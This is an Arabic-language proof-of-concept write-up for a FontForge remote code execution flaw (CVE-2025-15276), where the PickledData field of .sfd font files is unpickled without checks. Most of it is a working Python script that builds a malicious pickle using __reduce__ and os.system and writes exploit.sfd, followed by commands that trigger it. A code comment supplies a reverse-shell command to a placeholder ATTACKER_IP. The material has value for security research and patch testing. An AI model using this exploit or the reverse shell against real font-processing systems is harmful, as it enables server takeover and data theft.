
إثبات المفهوم لـ CVE-2025-15276 - FontForge ثغرة تنفيذ تعليمات برمجية عن بُعد عبر إلغاء تسلسل بيانات غير موثوقة أثناء تحليل ملفات SFD
إثبات المفهوم (PoC) هذا مخصص للأغراض التعليمية والتدقيق الأمني فقط. المؤلف غير مسؤول عن أي إساءة استخدام لهذه المعلومات. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني. احصل دائمًا على إذن صريح قبل إجراء اختبار أمني على أي نظام.
CVE-2025-15276 هي ثغرة حرجة من نوع تنفيذ التعليمات البرمجية عن بُعد (RCE) في FontForge (الإصدارات حتى 20230101 شاملة). العيب موجود في تحليل تنسيق قاعدة بيانات خطوط Spline (.sfd)، وتحديدًا داخل حقل PickledData.
يسمح تنسيق SFD الخاص بـ FontForge بتخزين قواميس Python الثابتة باستخدام الكلمة المفتاحية PickledData. عند تحميل خط، يستخرج FontForge هذه السلسلة ويمررها مباشرة إلى دالة pickle.loads() في Python (أو روتين إلغاء تسلسل داخلي مكافئ) دون أي تطهير أو عزل.
نظرًا لأن وحدة pickle في Python غير آمنة بطبيعتها وتسمح بإعادة بناء كائنات عشوائية، يمكن للمهاجم استخدام طريقة __reduce__ لتنفيذ أوامر نظام تعسفية بصلاحيات المستخدم الذي يقوم بتشغيل FontForge.
20230101 أو أقدم.استخدم السكربت Python التالي (gen_poc.py) لإنشاء ملف exploit.sfd. تم تكوين إثبات المفهوم هذا لإنشاء ملف في /tmp/pwned كمؤشر آمن على الاختراق (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
يمكن تفعيل الثغرة ببساطة عن طريق فتح الملف باستخدام FontForge.
الخيار A: التحميل عبر واجهة المستخدم الرسومية القياسية / CLI
fontforge exploit.sfd
الخيار B: واجهة السكربت Python (شائعة في خطوط الأنابيب الآلية)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
تحقق من تنفيذ الأمر:
ls -l /tmp/pwned
هذه الثغرة خطيرة بشكل خاص في خطوط أنابيب معالجة الخطوط (على سبيل المثال، محولات الخطوط المستندة إلى الويب أو سكريبتات التحقق الآلي) التي تستخدم FontForge في الخلفية لمعالجة الملفات التي رفعها المستخدمون. إذا كان السكربت الخلفي يستدعي fontforge.open() على ملف .sfd غير موثوق، فإن المهاجم يتحكم بالكامل في خادم المعالجة.
.sfd من مصادر غير موثوقة.